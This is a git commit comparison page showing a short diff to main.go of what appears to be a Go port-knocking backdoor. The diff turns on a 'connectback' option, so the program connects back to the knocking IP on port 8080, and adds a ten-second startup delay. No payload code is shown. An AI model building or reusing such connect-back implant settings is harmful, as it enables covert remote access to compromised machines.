Compare commits
2 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
9c190cf6c0 | ||
|
|
2da1dfeb1a |
4
main.go
4
main.go
@@ -9,6 +9,7 @@ import (
|
|||||||
"os/exec"
|
"os/exec"
|
||||||
"runtime"
|
"runtime"
|
||||||
"strings"
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
"strconv"
|
"strconv"
|
||||||
|
|
||||||
@@ -63,7 +64,7 @@ func sInit(os string) *targetInfo {
|
|||||||
|
|
||||||
// if true, connect back to knocking
|
// if true, connect back to knocking
|
||||||
// IP on connectbackPort
|
// IP on connectbackPort
|
||||||
tInfo.connectback = false
|
tInfo.connectback = true
|
||||||
// only relevant if connectback is true
|
// only relevant if connectback is true
|
||||||
tInfo.connectbackPort = "8080"
|
tInfo.connectbackPort = "8080"
|
||||||
|
|
||||||
@@ -71,6 +72,7 @@ func sInit(os string) *targetInfo {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
|
time.Sleep(10 * time.Second)
|
||||||
tInfo := sInit(runtime.GOOS)
|
tInfo := sInit(runtime.GOOS)
|
||||||
|
|
||||||
// Read package and analze them
|
// Read package and analze them
|
||||||
|
|||||||
Reference in New Issue
Block a user